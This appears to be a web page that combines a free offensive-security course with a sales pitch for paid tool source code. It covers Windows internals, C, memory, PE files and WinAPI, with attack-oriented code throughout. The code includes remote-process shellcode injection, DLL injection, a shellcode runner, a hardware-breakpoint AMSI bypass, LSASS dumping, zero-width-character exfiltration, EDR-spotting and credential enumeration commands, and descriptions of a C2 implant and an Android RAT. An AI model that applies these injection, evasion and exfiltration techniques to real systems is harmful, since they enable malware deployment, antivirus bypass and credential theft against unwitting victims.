Windows internals. C programming. Hacking. The actual foundations behind the tools — taught from zero, for free.
Straight talk: I built IRON-DOME, CHEYANNE, STARKILLER — and I used AI to help write them. They work. But for a while I didn't fully understand every line of every thing I shipped.
So I traced back. I learned the actual foundations — memory, the Windows kernel, how AV works, what makes shellcode shellcode. This page is that journey, taught properly, from zero.
Knowledge is free. Source code costs money. That's the deal.
If you don't know what a CPU is, start here. No shame. This is what school skips.
Before you can hack anything, you need to understand what you're hacking. Most courses skip this. We don't.
A computer has four things that matter:
CPU — the brain. Executes instructions one at a time, billions per second. Doesn't "think". Just adds numbers and moves data around. That's literally it.
RAM — short-term memory. Everything that's running right now lives in RAM. When you close a program, its RAM is freed. When you reboot, all RAM is wiped.
Storage (HDD/SSD) — long-term memory. Files live here. Slow compared to RAM. When you run a program, Windows copies it from storage into RAM first.
OS — the referee. Windows sits between your program and the hardware. It decides what your code is and isn't allowed to do.
Numbers a computer understands: binary (0s and 1s), hexadecimal (0-9 and A-F). You'll see hex everywhere in hacking. 0x41 = 65 = 'A' — same value, three representations.
// Decimal → Hex → Binary 65 = 0x41 = 01000001 → ASCII 'A' 255 = 0xFF = 11111111 → max value of 1 byte 4096 = 0x1000 → common memory page size
Windows, Linux, every AV engine, every kernel — written in C. You need C. Not to be a software developer. To understand what your tools are actually doing.
C is low-level. It doesn't protect you. It gives you direct access to memory. That's why it's used for malware, kernels, and exploits.
// Every C program starts here #include <stdio.h> // gives us printf() #include <windows.h> // gives us Windows API int main() { // This prints to console printf("Hello, kernel\n"); // This allocates 1000 bytes of memory char* buf = malloc(1000); // This frees it (always free what you malloc) free(buf); return 0; }
Key concepts you need right now:
// Pointer example — this is how shellcode works unsigned char shellcode[] = { 0x90, 0x90, 0xC3 }; // NOP NOP RET // Cast shellcode bytes to a function pointer void (*func)() = (void(*)())shellcode; // Execute it — this is literally what loaders do func(); // CPU jumps to our bytes and runs them
C is for tools. Python is for scripts. PowerShell is for Windows post-exploitation. You need all three.
# Python — fast prototyping, file parsing, network tools import struct, socket # Read a PE file header with open('calc.exe', 'rb') as f: data = f.read(64) magic = data[0:2] # MZ header — b'\x4D\x5A' print(f"Magic: {magic}") # Every .exe starts with MZ
# PowerShell — post-exploitation on Windows # List all processes (who's running) Get-Process | Select-Object Name, Id, Path # Find all scheduled tasks (persistence check) Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} # Dump LSASS (credential harvesting — authorized use only) # This is what Mimikatz does under the hood [System.Runtime.InteropServices.Marshal]::Copy(...)
You can't exploit what you don't understand. This is the OS you're attacking. Learn how it actually works.
Every attack involves manipulating processes. You need to know what they are at the kernel level.
A process is an isolated container. It has its own virtual memory space. Other processes can't read its memory — unless you open a handle to them.
A thread is the execution unit inside a process. One process can have many threads. Each thread has its own stack. Context switches happen between threads.
A handle is a reference to a kernel object (process, file, registry key). To manipulate another process, you need a handle with the right permissions (e.g. PROCESS_VM_WRITE).
// Open a handle to notepad.exe for injection HANDLE hProc = OpenProcess( PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, // don't inherit handle targetPID // PID of notepad.exe ); // Allocate memory in the remote process LPVOID addr = VirtualAllocEx(hProc, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // RWX — AV watches for this // Write shellcode into it WriteProcessMemory(hProc, addr, shellcode, shellcodeSize, NULL); // Create a thread there — shellcode now runs in notepad CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
Every exploit you'll ever write involves manipulating memory. This is the map.
Windows gives each process a 64-bit virtual address space — 0x000000000000 to 0x7FFFFFFFFFFF for user mode, kernel above that. It's not real memory — it's a lie the OS tells each process so they don't stomp on each other.
Stack — automatic, fast. Function calls live here. Local variables. Grows downward. Fixed size (~1MB per thread). Buffer overflows target the stack.
Heap — dynamic, manually managed. malloc() puts things here. Your shellcode injection targets heap or specially allocated memory. Grows upward.
Sections — .text (code), .data (globals), .rdata (constants), .reloc (relocation table). The PE file maps these into memory. Knowing this lets you patch or redirect code.
// Virtual memory layout (simplified, x64 Windows) // 0x000000000000 - 0x00007FFFFFFFFFFF → User mode // 0xFFFF800000000000 - end → Kernel mode // Query memory permissions on a region MEMORY_BASIC_INFORMATION mbi; VirtualQuery(address, &mbi, sizeof(mbi)); // mbi.Protect tells you: PAGE_EXECUTE_READ, PAGE_READWRITE, etc. // AV scans for PAGE_EXECUTE_READWRITE — that's the red flag printf("Protect: 0x%X\n", mbi.Protect);
Every Windows executable is a PE file. AV parses PE files to find malware. You parse PE files to understand or manipulate them.
PE = Portable Executable. Every .exe, .dll, .sys is one. Structure:
# Python: parse PE header manually import struct with open('sample.exe', 'rb') as f: data = f.read() # DOS header: first 2 bytes = MZ assert data[0:2] == b'MZ' # Offset to PE header is at 0x3C pe_offset = struct.unpack_from('<I', data, 0x3C)[0] # PE signature assert data[pe_offset:pe_offset+4] == b'PE\x00\x00' # Entry point (RVA) — where execution starts ep = struct.unpack_from('<I', data, pe_offset + 40)[0] print(f"Entry point RVA: 0x{ep:08X}")
WinAPI is how user-mode code talks to the kernel. Every tool you build — every injection, every evasion — goes through WinAPI or syscalls beneath it.
The call chain: your code → WinAPI (kernel32.dll) → ntdll.dll → syscall → kernel. AV hooks happen at ntdll. That's why IRON-DOME uses direct syscalls to bypass them.
// Key WinAPI functions for offensive work VirtualAlloc() // allocate memory VirtualAllocEx() // allocate in another process WriteProcessMemory() // write into another process CreateRemoteThread() // start thread in another process NtCreateThreadEx() // ntdll version — harder to hook OpenProcess() // get handle to target process LoadLibrary() // load a DLL GetProcAddress() // find a function by name in a DLL SetWindowsHookEx() // hook keyboard, mouse etc. MiniDumpWriteDump() // dump process memory (LSASS)
DLLs are loaded into process memory. DLL injection is one of the oldest and most reliable techniques.
A DLL is a PE file that exports functions for other programs to use. When you call MessageBox(), Windows loads user32.dll into your process and calls its export.
DLL Injection: force a target process to load your DLL. It runs inside the target's memory space with the target's permissions. You now own that process.
// Classic DLL injection using LoadLibrary // 1. Get handle to target HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 2. Write DLL path string into target's memory LPVOID pathAddr = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProc, pathAddr, dllPath, strlen(dllPath)+1, NULL); // 3. Make target call LoadLibrary on our DLL path HMODULE k32 = GetModuleHandle("kernel32.dll"); FARPROC loadLib = GetProcAddress(k32, "LoadLibraryA"); CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)loadLib, pathAddr, // LoadLibrary's argument = our DLL path 0, NULL); // Target now loads our DLL. DllMain() runs.
The theory behind every technique in the tools. Understand it. Then you can adapt it.
You can't evade what you don't understand. AV has multiple detection layers. Each one has a bypass.
Shellcode is position-independent machine code. It doesn't need a loader — it runs wherever you put it in memory.
Normal code has a fixed base address. Shellcode must work no matter where it lands — it can't use hardcoded addresses. It finds everything it needs at runtime.
// x64 shellcode that executes calc.exe // This is what Msfvenom, Cobalt Strike, etc. generate unsigned char calc_shellcode[] = { 0x48, 0x31, 0xc9, // xor rcx, rcx 0x48, 0x81, 0xe9, 0xb7, // sub rcx, ... // ... hundreds more bytes // finds kernel32.dll in memory, // resolves WinExec(), // calls WinExec("calc.exe") }; // Embed and execute void* mem = VirtualAlloc(NULL, sizeof(calc_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(mem, calc_shellcode, sizeof(calc_shellcode)); ((void(*)())mem)(); // execute
This is the original research. MSRC VULN-195458. Hardware breakpoints to bypass AMSI without writing to protected memory.
Normal AMSI bypass: patch the first bytes of AmsiScanBuffer() to return AMSI_RESULT_CLEAN immediately. Problem: Windows Tamper Protection watches for writes to protected memory regions like AMSI. It detects the patch.
Hardware breakpoints (HWBP) solve this. Instead of writing to memory, you set a debug register (DR0-DR3) to trigger an exception when AmsiScanBuffer() is called. Your exception handler fires, fakes the return value, and execution continues. Zero writes to protected memory.
// HWBP AMSI bypass — conceptual // 1. Find AmsiScanBuffer address in amsi.dll HMODULE amsi = LoadLibrary("amsi.dll"); FARPROC scanBuf = GetProcAddress(amsi, "AmsiScanBuffer"); // 2. Set DR0 to break on execution of AmsiScanBuffer ctx.Dr0 = (DWORD64)scanBuf; ctx.Dr7 = 0x1; // enable DR0, execute break SetThreadContext(GetCurrentThread(), &ctx); // 3. Add vectored exception handler AddVectoredExceptionHandler(1, amsiHandler); // amsiHandler fires when AmsiScanBuffer is called. // We set RIP past the scan, return AMSI_RESULT_CLEAN. // No memory was written. Tamper Protection sees nothing.
What is a C2 framework and how does CHEYANNE work?
C2 = command and control. You infect a machine (implant). The implant calls home to your server. You send commands. It executes them and returns output. That's it.
Android is Linux with a permission model on top. Bypassing that model is what STARKILLER does.
Android apps run in a sandbox — each app has its own UID. They communicate through Intents. System resources (camera, GPS, SMS) are gated by permissions declared in AndroidManifest.xml.
A RAT (Remote Access Trojan) on Android declares the permissions it needs, gets the user to install it (usually social engineering), and then uses those permissions to exfiltrate data.
Hiding data in plain sight. What Ghost-Encoder does and why it's useful for C2.
Steganography = hiding data inside innocent-looking data. Images, audio, text. Ghost-Encoder hides data in Unicode zero-width characters — invisible to the human eye, encoded in the bytes.
// Zero-width character encoding // U+200B = zero-width space (bit 0) // U+200C = zero-width non-joiner (bit 1) // Encode "A" (0x41 = 01000001) in zero-width chars // '0' → U+200B, '1' → U+200C encoded = "" // Looks like: "" (empty string to human eye) // Contains: "A" in binary // Use case: exfiltrate data in a Slack message. // Message looks clean. Data is there.
Post-exploitation: you're in. Now what? Map the environment. This is WinRecon's domain.
# Post-exploitation enumeration — PowerShell # Who am I? whoami /all # What can I reach? Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'} # What's in the network? Get-ADComputer -Filter * | Select Name, DNSHostName # What processes are running? (spot AV/EDR) Get-Process | Where-Object {$_.Name -match 'defender|sentinel|crowdstrike'} # What credentials are cached? cmdkey /list # Scheduled tasks (persistence check) Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft\*'}
How to find vulnerabilities in software you don't have source code for.
Fuzzing = throwing semi-random inputs at a program until it crashes. Crashes indicate bugs. Some bugs are exploitable.
The workflow: generate input → feed to target → monitor for crash → if crash, record input → analyse crash type → is it exploitable?
# Simple dumb fuzzer import socket, time target = ("192.168.1.100", 21) # FTP server payload_sizes = [100, 500, 1000, 2000, 5000] for size in payload_sizes: try: s = socket.socket() s.connect(target) s.recv(1024) # recv banner s.send(b"USER " + b"A" * size + b"\r\n") print(f"Sent {size} bytes — no crash") s.close() except: print(f"CRASHED at {size} bytes!") break time.sleep(0.5)
You can't be a good attacker without understanding the defender. This closes the loop.
Operational security. Everything you do leaves a trace. Knowing what traces you leave is how you reduce them.
The knowledge above is free. The tools you build with it are yours. The source code for ours costs money — because building them did.
18 modules above are free. The source repos are the product.
A$21.99/mo or A$247.50 one-time for everything.